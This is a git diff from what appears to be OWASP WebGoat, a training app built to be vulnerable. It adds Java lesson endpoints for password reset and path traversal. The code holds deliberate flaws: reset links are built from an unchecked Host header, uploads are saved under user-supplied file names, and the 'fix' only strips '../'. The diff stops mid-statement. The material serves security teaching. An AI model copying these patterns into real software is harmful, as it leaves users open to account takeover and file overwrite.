+import java.util.List; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.passwordreset.resetlink.PasswordChangeForm; +import org.springframework.ui.Model; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +@AssignmentHints({ + "password-reset-hint1", + "password-reset-hint2", + "password-reset-hint3", + "password-reset-hint4", + "password-reset-hint5", + "password-reset-hint6" +}) +public class ResetLinkAssignment extends AssignmentEndpoint { + + static final String PASSWORD_TOM_9 = + "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; + static final String TOM_EMAIL = "tom@webgoat-cloud.org"; + static Map userToTomResetLink = new HashMap<>(); + static Map usersToTomPassword = Maps.newHashMap(); + static List resetLinks = new ArrayList<>(); + + static final String TEMPLATE = + "Hi, you requested a password reset link, please use this link to reset your" + + " password.\n" + + " \n\n" + + "If you did not request this password change you can ignore this message.\n" + + "If you have any comments or questions, please do not hesitate to reach us at" + + " support@webgoat-cloud.org\n\n" + + "Kind regards, \n" + + "Team WebGoat"; + + @PostMapping("/PasswordReset/reset/login") + @ResponseBody + public AttackResult login(@RequestParam String password, @RequestParam String email) { + if (TOM_EMAIL.equals(email)) { + String passwordTom = + usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9); + if (passwordTom.equals(PASSWORD_TOM_9)) { + return failed(this).feedback("login_failed").build(); + } else if (passwordTom.equals(password)) { + return success(this).build(); + } + } + return failed(this).feedback("login_failed.tom").build(); + } + + @GetMapping("/PasswordReset/reset/reset-password/{link}") + public ModelAndView resetPassword(@PathVariable(value = "link") String link, Model model) { + ModelAndView modelAndView = new ModelAndView(); + if (ResetLinkAssignment.resetLinks.contains(link)) { + PasswordChangeForm form = new PasswordChangeForm(); + form.setResetLink(link); + model.addAttribute("form", form); + modelAndView.addObject("form", form); + modelAndView.setViewName("password_reset"); // Display html page for changing password + } else { + modelAndView.setViewName("password_link_not_found"); + } + return modelAndView; + } + + @GetMapping("/PasswordReset/reset/change-password") + public ModelAndView illegalCall() { + ModelAndView modelAndView = new ModelAndView(); + modelAndView.setViewName("password_link_not_found"); + return modelAndView; + } + + @PostMapping("/PasswordReset/reset/change-password") + public ModelAndView changePassword( + @ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) { + ModelAndView modelAndView = new ModelAndView(); + if (!org.springframework.util.StringUtils.hasText(form.getPassword())) { + bindingResult.rejectValue("password", "not.empty"); + } + if (bindingResult.hasErrors()) { + modelAndView.setViewName("password_reset"); + return modelAndView; + } + if (!resetLinks.contains(form.getResetLink())) { + modelAndView.setViewName("password_link_not_found"); + return modelAndView; + } + if (checkIfLinkIsFromTom(form.getResetLink())) { + usersToTomPassword.put(getWebSession().getUserName(), form.getPassword()); + } + modelAndView.setViewName("lessons/passwordreset/templates/success.html"); + return modelAndView; + } + + private boolean checkIfLinkIsFromTom(String resetLinkFromForm) { + String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown"); + return resetLink.equals(resetLinkFromForm); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java new file mode 100644 index 000000000..34b8ee856 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignmentForgotPassword.java @@ -0,0 +1,114 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.util.UUID; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpMethod; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestTemplate; + +/** + * Part of the password reset assignment. Used to send the e-mail. + * + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint { + + private final RestTemplate restTemplate; + private String webWolfHost; + private String webWolfPort; + private final String webWolfMailURL; + + public ResetLinkAssignmentForgotPassword( + RestTemplate restTemplate, + @Value("${webwolf.host}") String webWolfHost, + @Value("${webwolf.port}") String webWolfPort, + @Value("${webwolf.mail.url}") String webWolfMailURL) { + this.restTemplate = restTemplate; + this.webWolfHost = webWolfHost; + this.webWolfPort = webWolfPort; + this.webWolfMailURL = webWolfMailURL; + } + + @PostMapping("/PasswordReset/ForgotPassword/create-password-reset-link") + @ResponseBody + public AttackResult sendPasswordResetLink( + @RequestParam String email, HttpServletRequest request) { + String resetLink = UUID.randomUUID().toString(); + ResetLinkAssignment.resetLinks.add(resetLink); + String host = request.getHeader("host"); + if (ResetLinkAssignment.TOM_EMAIL.equals(email) + && (host.contains(webWolfPort) + || host.contains(webWolfHost))) { // User indeed changed the host header. + ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink); + fakeClickingLinkEmail(host, resetLink); + } else { + try { + sendMailToUser(email, host, resetLink); + } catch (Exception e) { + return failed(this).output("E-mail can't be send. please try again.").build(); + } + } + + return success(this).feedback("email.send").feedbackArgs(email).build(); + } + + private void sendMailToUser(String email, String host, String resetLink) { + int index = email.indexOf("@"); + String username = email.substring(0, index == -1 ? email.length() : index); + PasswordResetEmail mail = + PasswordResetEmail.builder() + .title("Your password reset link") + .contents(String.format(ResetLinkAssignment.TEMPLATE, host, resetLink)) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .build(); + this.restTemplate.postForEntity(webWolfMailURL, mail, Object.class); + } + + private void fakeClickingLinkEmail(String host, String resetLink) { + try { + HttpHeaders httpHeaders = new HttpHeaders(); + HttpEntity httpEntity = new HttpEntity(httpHeaders); + new RestTemplate() + .exchange( + String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), + HttpMethod.GET, + httpEntity, + Void.class); + } catch (Exception e) { + // don't care + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java new file mode 100644 index 000000000..044689717 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SecurityQuestionAssignment.java @@ -0,0 +1,108 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import static java.util.Optional.of; + +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * Assignment for picking a good security question. + * + * @author Tobias Melzer + * @since 11.12.18 + */ +@RestController +public class SecurityQuestionAssignment extends AssignmentEndpoint { + + @Autowired private TriedQuestions triedQuestions; + + private static Map questions; + + static { + questions = new HashMap<>(); + questions.put( + "What is your favorite animal?", + "The answer can easily be guessed and figured out through social media."); + questions.put("In what year was your mother born?", "Can be easily guessed."); + questions.put( + "What was the time you were born?", + "This may first seem like a good question, but you most likely dont know the exact time, so" + + " it might be hard to remember."); + questions.put( + "What is the name of the person you first kissed?", + "Can be figured out through social media, or even guessed by trying the most common" + + " names."); + questions.put( + "What was the house number and street name you lived in as a child?", + "Answer can be figured out through social media, or worse it might be your current" + + " address."); + questions.put( + "In what town or city was your first full time job?", + "In times of LinkedIn and Facebook, the answer can be figured out quite easily."); + questions.put("In what city were you born?", "Easy to figure out through social media."); + questions.put( + "What was the last name of your favorite teacher in grade three?", + "Most people would probably not know the answer to that."); + questions.put( + "What is the name of a college/job you applied to but didn't attend?", + "It might not be easy to remember and an hacker could just try some company's/colleges in" + + " your area."); + questions.put( + "What are the last 5 digits of your drivers license?", + "Is subject to change, and the last digit of your driver license might follow a specific" + + " pattern. (For example your birthday)."); + questions.put("What was your childhood nickname?", "Not all people had a nickname."); + questions.put( + "Who was your childhood hero?", + "Most Heroes we had as a child where quite obvious ones, like Superman for example."); + questions.put( + "On which wrist do you wear your watch?", + "There are only to possible real answers, so really easy to guess."); + questions.put("What is your favorite color?", "Can easily be guessed."); + } + + @PostMapping("/PasswordReset/SecurityQuestions") + @ResponseBody + public AttackResult completed(@RequestParam String question) { + var answer = of(questions.get(question)); + if (answer.isPresent()) { + triedQuestions.incr(question); + if (triedQuestions.isComplete()) { + return success(this).output("" + answer + "").build(); + } + } + return informationMessage(this) + .feedback("password-questions-one-successful") + .output(answer.orElse("Unknown question, please try again...")) + .build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java new file mode 100644 index 000000000..656732183 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/SimpleMailAssignment.java @@ -0,0 +1,117 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import static java.util.Optional.ofNullable; + +import java.time.LocalDateTime; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class SimpleMailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public SimpleMailAssignment( + RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping( + path = "/PasswordReset/simple-mail", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult login(@RequestParam String email, @RequestParam String password) { + String emailAddress = ofNullable(email).orElse("unknown@webgoat.org"); + String username = extractUsername(emailAddress); + + if (username.equals(getWebSession().getUserName()) + && StringUtils.reverse(username).equals(password)) { + return success(this).build(); + } else { + return failed(this).feedbackArgs("password-reset-simple.password_incorrect").build(); + } + } + + @PostMapping( + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + value = "/PasswordReset/simple-mail/reset") + @ResponseBody + public AttackResult resetPassword(@RequestParam String emailReset) { + String email = ofNullable(emailReset).orElse("unknown@webgoat.org"); + return sendEmail(extractUsername(email), email); + } + + private String extractUsername(String email) { + int index = email.indexOf("@"); + return email.substring(0, index == -1 ? email.length() : index); + } + + private AttackResult sendEmail(String username, String email) { + if (username.equals(getWebSession().getUserName())) { + PasswordResetEmail mailEvent = + PasswordResetEmail.builder() + .recipient(username) + .title("Simple e-mail assignment") + .time(LocalDateTime.now()) + .contents( + "Thanks for resetting your password, your new password is: " + + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage(this) + .feedback("password-reset-simple.email_failed") + .output(e.getMessage()) + .build(); + } + return informationMessage(this) + .feedback("password-reset-simple.email_send") + .feedbackArgs(email) + .build(); + } else { + return informationMessage(this) + .feedback("password-reset-simple.email_mismatch") + .feedbackArgs(username) + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java new file mode 100644 index 000000000..d8f04167a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/TriedQuestions.java @@ -0,0 +1,43 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.util.HashSet; +import java.util.Set; +import org.springframework.stereotype.Component; +import org.springframework.web.context.annotation.SessionScope; + +@Component +@SessionScope +public class TriedQuestions { + + private Set answeredQuestions = new HashSet<>(); + + public void incr(String question) { + answeredQuestions.add(question); + } + + public boolean isComplete() { + return answeredQuestions.size() > 1; + } +} diff --git a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java similarity index 60% rename from webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java rename to src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java index 3c1afccd7..604c51fd3 100644 --- a/webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/plugin/resetlink/PasswordChangeForm.java +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/resetlink/PasswordChangeForm.java @@ -1,10 +1,9 @@ -package org.owasp.webgoat.plugin.resetlink; - -import lombok.Getter; -import lombok.Setter; +package org.owasp.webgoat.lessons.passwordreset.resetlink; import javax.validation.constraints.NotNull; import javax.validation.constraints.Size; +import lombok.Getter; +import lombok.Setter; /** * @author nbaars @@ -14,9 +13,9 @@ import javax.validation.constraints.Size; @Setter public class PasswordChangeForm { - @NotNull - @Size(min=6, max=10) - private String password; - private String resetLink; + @NotNull + @Size(min = 6, max = 10) + private String password; + private String resetLink; } diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java new file mode 100644 index 000000000..ef61ae901 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/PathTraversal.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.pathtraversal; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class PathTraversal extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "path-traversal-title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java new file mode 100644 index 000000000..6c76cede7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUpload.java @@ -0,0 +1,47 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile.hint1", + "path-traversal-profile.hint2", + "path-traversal-profile.hint3" +}) +public class ProfileUpload extends ProfileUploadBase { + + public ProfileUpload( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFile") MultipartFile file, + @RequestParam(value = "fullName", required = false) String fullName) { + return super.execute(file, fullName); + } + + @GetMapping("/PathTraversal/profile-picture") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java new file mode 100644 index 000000000..131f1674a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadBase.java @@ -0,0 +1,122 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.nio.file.Files; +import java.util.Arrays; +import java.util.Base64; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.SneakyThrows; +import org.apache.commons.io.FilenameUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.FileCopyUtils; +import org.springframework.util.FileSystemUtils; +import org.springframework.util.StringUtils; +import org.springframework.web.multipart.MultipartFile; + +@AllArgsConstructor +@Getter +public class ProfileUploadBase extends AssignmentEndpoint { + + private String webGoatHomeDirectory; + private WebSession webSession; + + protected AttackResult execute(MultipartFile file, String fullName) { + if (file.isEmpty()) { + return failed(this).feedback("path-traversal-profile-empty-file").build(); + } + if (StringUtils.isEmpty(fullName)) { + return failed(this).feedback("path-traversal-profile-empty-name").build(); + } + + File uploadDirectory = cleanupAndCreateDirectoryForUser(); + + try { + var uploadedFile = new File(uploadDirectory, fullName); + uploadedFile.createNewFile(); + FileCopyUtils.copy(file.getBytes(), uploadedFile); + + if (attemptWasMade(uploadDirectory, uploadedFile)) { + return solvedIt(uploadedFile); + } + return informationMessage(this) + .feedback("path-traversal-profile-updated") + .feedbackArgs(uploadedFile.getAbsoluteFile()) + .build(); + + } catch (IOException e) { + return failed(this).output(e.getMessage()).build(); + } + } + + @SneakyThrows + protected File cleanupAndCreateDirectoryForUser() { + var uploadDirectory = + new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName()); + if (uploadDirectory.exists()) { + FileSystemUtils.deleteRecursively(uploadDirectory); + } + Files.createDirectories(uploadDirectory.toPath()); + return uploadDirectory; + } + + private boolean attemptWasMade(File expectedUploadDirectory, File uploadedFile) + throws IOException { + return !expectedUploadDirectory + .getCanonicalPath() + .equals(uploadedFile.getParentFile().getCanonicalPath()); + } + + private AttackResult solvedIt(File uploadedFile) throws IOException { + if (uploadedFile.getCanonicalFile().getParentFile().getName().endsWith("PathTraversal")) { + return success(this).build(); + } + return failed(this) + .attemptWasMade() + .feedback("path-traversal-profile-attempt") + .feedbackArgs(uploadedFile.getCanonicalPath()) + .build(); + } + + public ResponseEntity getProfilePicture() { + return ResponseEntity.ok() + .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) + .body(getProfilePictureAsBase64()); + } + + protected byte[] getProfilePictureAsBase64() { + var profilePictureDirectory = + new File(this.webGoatHomeDirectory, "/PathTraversal/" + webSession.getUserName()); + var profileDirectoryFiles = profilePictureDirectory.listFiles(); + + if (profileDirectoryFiles != null && profileDirectoryFiles.length > 0) { + return Arrays.stream(profileDirectoryFiles) + .filter(file -> FilenameUtils.isExtension(file.getName(), List.of("jpg", "png"))) + .findFirst() + .map( + file -> { + try (var inputStream = new FileInputStream(profileDirectoryFiles[0])) { + return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); + } catch (IOException e) { + return defaultImage(); + } + }) + .orElse(defaultImage()); + } else { + return defaultImage(); + } + } + + @SneakyThrows + protected byte[] defaultImage() { + var inputStream = getClass().getResourceAsStream("/images/account.png"); + return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java new file mode 100644 index 000000000..90c0589b9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadFix.java @@ -0,0 +1,47 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile-fix.hint1", + "path-traversal-profile-fix.hint2", + "path-traversal-profile-fix.hint3" +}) +public class ProfileUploadFix extends ProfileUploadBase { + + public ProfileUploadFix( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload-fix", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFileFix") MultipartFile file, + @RequestParam(value = "fullNameFix", required = false) String fullName) { + return super.execute(file, fullName != null ? fullName.replace("../", "") : ""); + } + + @GetMapping("/PathTraversal/profile-picture-fix") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java new file mode 100644 index 000000000..95971df26 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRemoveUserInput.java @@ -0,0 +1,38 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; + +@RestController +@AssignmentHints({ + "path-traversal-profile-remove-user-input.hint1", + "path-traversal-profile-remove-user-input.hint2", + "path-traversal-profile-remove-user-input.hint3" +}) +public class ProfileUploadRemoveUserInput extends ProfileUploadBase { + + public ProfileUploadRemoveUserInput( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/profile-upload-remove-user-input", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler( + @RequestParam("uploadedFileRemoveUserInput") MultipartFile file) { + return super.execute(file, file.getOriginalFilename()); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java new file mode 100644 index 000000000..f52bed34a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/pathtraversal/ProfileUploadRetrieval.java @@ -0,0 +1,116 @@ +package org.owasp.webgoat.lessons.pathtraversal; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.URI; +import java.net.URISyntaxException; +import java.nio.file.Files; +import java.util.Base64; +import javax.annotation.PostConstruct; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.RandomUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.security.core.token.Sha512DigestUtils; +import org.springframework.util.FileCopyUtils; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "path-traversal-profile-retrieve.hint1", + "path-traversal-profile-retrieve.hint2", + "path-traversal-profile-retrieve.hint3", + "path-traversal-profile-retrieve.hint4", + "path-traversal-profile-retrieve.hint5", + "path-traversal-profile-retrieve.hint6" +}) +@Slf4j +public class ProfileUploadRetrieval extends AssignmentEndpoint { + + private final File catPicturesDirectory; + + public ProfileUploadRetrieval(@Value("${webgoat.server.directory}") String webGoatHomeDirectory) { + this.catPicturesDirectory = new File(webGoatHomeDirectory, "/PathTraversal/" + "/cats"); + this.catPicturesDirectory.mkdirs(); + } + + @PostConstruct + public void initAssignment() { + for (int i = 1; i <= 10; i++) { + try (InputStream is = + new ClassPathResource("lessons/pathtraversal/images/cats/" + i + ".jpg") + .getInputStream()) { + FileCopyUtils.copy(is, new FileOutputStream(new File(catPicturesDirectory, i + ".jpg"))); + } catch (Exception e) { + log.error("Unable to copy pictures" 